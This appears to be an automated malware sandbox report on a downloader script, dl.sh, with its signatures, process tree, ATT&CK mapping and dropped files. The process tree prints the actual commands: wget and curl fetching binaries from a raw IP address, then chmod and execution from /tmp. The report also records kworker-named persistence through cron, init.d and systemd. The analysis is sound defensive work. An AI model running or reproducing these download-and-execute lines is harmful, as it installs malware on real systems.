Overview

overview

7

Static

static

1

dl.sh

ubuntu-18.04-amd64

7

dl.sh

debian-9-armhf

7

dl.sh

debian-9-mips

7

dl.sh

debian-9-mipsel

7

Analysis

  • max time kernel
    148s
  • max time network
    151s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20260513-en
  • resource tags

    arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    29/09/2026, 12:19

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    dl.sh
  • Size 622B
  • Sample260929-phebjazbnb
  • SHA256 e63cf3ce1a71ea69d596056cb212337c38ee4740b22f73b5bd64ffd47cbc0d7a
  • MD5 SHA1 SHA512 TLSH
Score
7/10
antivmcredential_accessdefense_evasiondiscoveryexecutionpersistenceprivilege_escalationupx

Malware Config

Signatures

  • File and Directory Permissions Modification 1 TTPs 5 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Executes dropped EXE 5 IoCs
  • Creates/modifies Cron job 1 TTPs 3 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

    executionpersistenceprivilege_escalation
  • Creates/modifies environment variables 1 TTPs 3 IoCs

    Creating/modifying environment variables is a common persistence mechanism.

    persistenceprivilege_escalationdefense_evasion
  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Modifies init.d 2 TTPs 1 IoCs

    Adds/modifies system service, likely for persistence.

    persistence
  • Modifies rc script 2 TTPs 1 IoCs

    Adding/modifying system rc scripts is a common persistence mechanism.

    persistence
  • Modifies systemd 2 TTPs 1 IoCs

    Adds/ modifies systemd service files. Likely to achieve persistence.

    persistenceprivilege_escalation
  • Write file to user bin folder 2 IoCs
    persistence
  • Modifies Bash startup script 2 TTPs 3 IoCs
    persistence
  • Reads process memory 1 TTPs 64 IoCs

    Read the memory of a process through the /proc virtual filesystem. This can be used to steal credentials.

    credential_access
  • UPX packed file 2 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

    upx
  • Changes its process name 1 IoCs
  • Checks CPU configuration 1 TTPs 2 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

    antivm
  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • System Network Configuration Discovery 1 TTPs 1 IoCs

    Adversaries may gather information about the network configuration of a system.

    discovery
  • Writes file to tmp directory 9 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/dl.sh
    /tmp/dl.sh
    1⤵
    • Executes dropped EXE
    PID:642
    • /bin/uname
      uname -m
      2⤵
        PID:644
      • /bin/rm
        rm -f w
        2⤵
          PID:646
        • /usr/bin/wget
          wget -qO w http://23.95.228.20/wife.armv7l
          2⤵
          • Writes file to tmp directory
          PID:649
        • /usr/bin/curl
          curl -so w http://23.95.228.20/wife.armv7l
          2⤵
          • Checks CPU configuration
          • Reads runtime system information
          • Writes file to tmp directory
          PID:668
        • /bin/chmod
          chmod +x w
          2⤵
          • File and Directory Permissions Modification
          PID:674
        • /tmp/w
          ./w
          2⤵
            PID:675
          • /bin/sh
            /bin/sh ./w
            2⤵
              PID:675
            • /bin/rm
              rm -f w
              2⤵
                PID:676
              • /usr/bin/wget
                wget -qO w http://23.95.228.20/wife.armv7l
                2⤵
                • Writes file to tmp directory
                PID:677
              • /usr/bin/curl
                curl -so w http://23.95.228.20/wife.armv7l
                2⤵
                • Checks CPU configuration
                • Reads runtime system information
                • Writes file to tmp directory
                PID:678
              • /bin/chmod
                chmod +x w
                2⤵
                • File and Directory Permissions Modification
                PID:679
              • /tmp/w
                ./w
                2⤵
                  PID:680
                • /bin/sh
                  /bin/sh ./w
                  2⤵
                    PID:680
                  • /bin/rm
                    rm -f w
                    2⤵
                      PID:681
                    • /usr/bin/wget
                      wget -qO w http://23.95.228.20/wife.aarch64
                      2⤵
                      • Writes file to tmp directory
                      PID:682
                    • /bin/chmod
                      chmod +x w
                      2⤵
                      • File and Directory Permissions Modification
                      PID:697
                    • /tmp/w
                      ./w
                      2⤵
                        PID:699
                      • /bin/rm
                        rm -f w
                        2⤵
                          PID:701
                        • /usr/bin/wget
                          wget -qO w http://23.95.228.20/wife.mips64
                          2⤵
                          • System Network Configuration Discovery
                          • Writes file to tmp directory
                          PID:703
                        • /bin/chmod
                          chmod +x w
                          2⤵
                          • File and Directory Permissions Modification
                          PID:731
                        • /tmp/w
                          ./w
                          2⤵
                            PID:732
                          • /bin/rm
                            rm -f w
                            2⤵
                              PID:734
                            • /usr/bin/wget
                              wget -qO w http://23.95.228.20/wife.arm7
                              2⤵
                              • Writes file to tmp directory
                              PID:736
                            • /bin/chmod
                              chmod +x w
                              2⤵
                              • File and Directory Permissions Modification
                              PID:738
                            • /tmp/w
                              ./w
                              2⤵
                              • Creates/modifies Cron job
                              • Creates/modifies environment variables
                              • Modifies init.d
                              • Modifies rc script
                              • Modifies systemd
                              • Write file to user bin folder
                              • Modifies Bash startup script
                              • Reads process memory
                              • Changes its process name
                              • Reads runtime system information
                              • Writes file to tmp directory
                              PID:739
                            • /bin/rm
                              rm -f w
                              2⤵
                                PID:741
                              • /bin/rm
                                rm -f /tmp/dl.sh
                                2⤵
                                  PID:743

                              Network

                                    MITRE ATT&CK Enterprise v16

                                    Reconnaissance

                                    Resource Development

                                    Initial Access

                                    Execution

                                    Scheduled Task/Job

                                    1
                                    T1053

                                    Cron

                                    1
                                    T1053.003

                                    Persistence

                                    Boot or Logon Autostart Execution

                                    4
                                    T1547

                                    XDG Autostart Entries

                                    1
                                    T1547.013

                                    Boot or Logon Initialization Scripts

                                    2
                                    T1037

                                    RC Scripts

                                    2
                                    T1037.004

                                    Create or Modify System Process

                                    1
                                    T1543

                                    Systemd Service

                                    1
                                    T1543.002

                                    Event Triggered Execution

                                    1
                                    T1546

                                    Unix Shell Configuration Modification

                                    1
                                    T1546.004

                                    Hijack Execution Flow

                                    1
                                    T1574

                                    Path Interception by PATH Environment Variable

                                    1
                                    T1574.007

                                    Scheduled Task/Job

                                    1
                                    T1053

                                    Cron

                                    1
                                    T1053.003

                                    Privilege Escalation

                                    Boot or Logon Autostart Execution

                                    4
                                    T1547

                                    XDG Autostart Entries

                                    1
                                    T1547.013

                                    Boot or Logon Initialization Scripts

                                    2
                                    T1037

                                    RC Scripts

                                    2
                                    T1037.004

                                    Create or Modify System Process

                                    1
                                    T1543

                                    Systemd Service

                                    1
                                    T1543.002

                                    Event Triggered Execution

                                    1
                                    T1546

                                    Unix Shell Configuration Modification

                                    1
                                    T1546.004

                                    Hijack Execution Flow

                                    1
                                    T1574

                                    Path Interception by PATH Environment Variable

                                    1
                                    T1574.007

                                    Scheduled Task/Job

                                    1
                                    T1053

                                    Cron

                                    1
                                    T1053.003

                                    Defense Evasion

                                    File and Directory Permissions Modification

                                    1
                                    T1222

                                    Linux and Mac File and Directory Permissions Modification

                                    1
                                    T1222.002

                                    Hijack Execution Flow

                                    1
                                    T1574

                                    Path Interception by PATH Environment Variable

                                    1
                                    T1574.007

                                    Virtualization/Sandbox Evasion

                                    1
                                    T1497

                                    System Checks

                                    1
                                    T1497.001

                                    Credential Access

                                    OS Credential Dumping

                                    1
                                    T1003

                                    Proc Filesystem

                                    1
                                    T1003.007

                                    Discovery

                                    System Network Configuration Discovery

                                    1
                                    T1016

                                    Virtualization/Sandbox Evasion

                                    1
                                    T1497

                                    System Checks

                                    1
                                    T1497.001

                                    Lateral Movement

                                    Collection

                                    Command and Control

                                    Exfiltration

                                    Impact

                                    Replay Monitor

                                    Loading Replay Monitor...

                                    Downloads

                                    kworker
                                    • Path /etc/cron.d/kworker
                                    • Size 113B
                                    • SHA256 13f0acdbf55ce1f4cbe4bd66a713a6f2baf97893eccccf22f47dbda38e5206a5
                                    • MD5 SHA1 SHA512 TLSH
                                    Submit Download

                                    kworker
                                    • Path /etc/cron.hourly/kworker
                                    • Size 59B
                                    • SHA256 3c4b5f0b1063049c971210ae2d5632494a04841b2d17f42e7dbaafffdb32d361
                                    • MD5 SHA1 SHA512 TLSH
                                    Submit Download

                                    kworker
                                    • Path /etc/init.d/kworker
                                    • Size 118B
                                    • SHA256 eb5be8efa8827ad8257775ca199bd29fa4f20a1e4cc8a3e6d9dd381efbc20e4d
                                    • MD5 SHA1 SHA512 TLSH
                                    Submit Download

                                    kworker.sh
                                    • Path /etc/profile.d/kworker.sh
                                    • Size 66B
                                    • SHA256 afdf673e11a9cc7d0df7751150559fe51ca70d9498212fa8b5b59738e5c7e4f5
                                    • MD5 SHA1 SHA512 TLSH
                                    Submit Download

                                    kworker.service
                                    • Path /etc/systemd/system/kworker.service
                                    • Size 219B
                                    • SHA256 da117dd0b8c7f6f576abac1c412c7f120a47a7b1a182b72bdc7629a99d943d0d
                                    • MD5 SHA1 SHA512 TLSH
                                    Submit Download

                                    w
                                    • Path /tmp/w
                                    • Size 162B
                                    • SHA256 340c8464c2007ce3f80682e15dfafa4180b641d53c14201b929906b7b0284d87
                                    • MD5 SHA1 SHA512 TLSH
                                    Submit Download

                                    w
                                    • Path /tmp/w
                                    • Size 72KB
                                    • SHA256 47e8a66124310758285a549ba29900bd30a86e13ded7f165640954f7b5602ca1
                                    • MD5 SHA1 SHA512 SSDEEP TLSH
                                    Submit Download

                                    w
                                    • Path /tmp/w
                                    • Size 236KB
                                    • SHA256 924793b4852a7d7842d6ce6d11d89ed3387aeda332316e0b061073bcfdf999e7
                                    • MD5 SHA1 SHA512 SSDEEP TLSH
                                    Submit Download

                                    w
                                    • Path /tmp/w
                                    • Size 70KB
                                    • SHA256 3bef89a430be6418e9a8c5ddfb24ec1dd6e426e334db9d5acf7af07461929c05
                                    • MD5 SHA1 SHA512 SSDEEP TLSH
                                    Submit Download

                                    wife.lock
                                    • Path /tmp/wife.lock
                                    • Size 4B
                                    • SHA256 8a411eab6dc3431021059b9f59f07823a0303ff869b639e1df92f295cfb11721
                                    • MD5 SHA1 SHA512
                                    Submit Download

                                    root
                                    • Path /var/spool/cron/crontabs/root
                                    • Size 58B
                                    • SHA256 84701673df20e264f5fc390d59d6ab229eb69d184d084d461ce683874f125190
                                    • MD5 SHA1 SHA512 TLSH
                                    Submit Download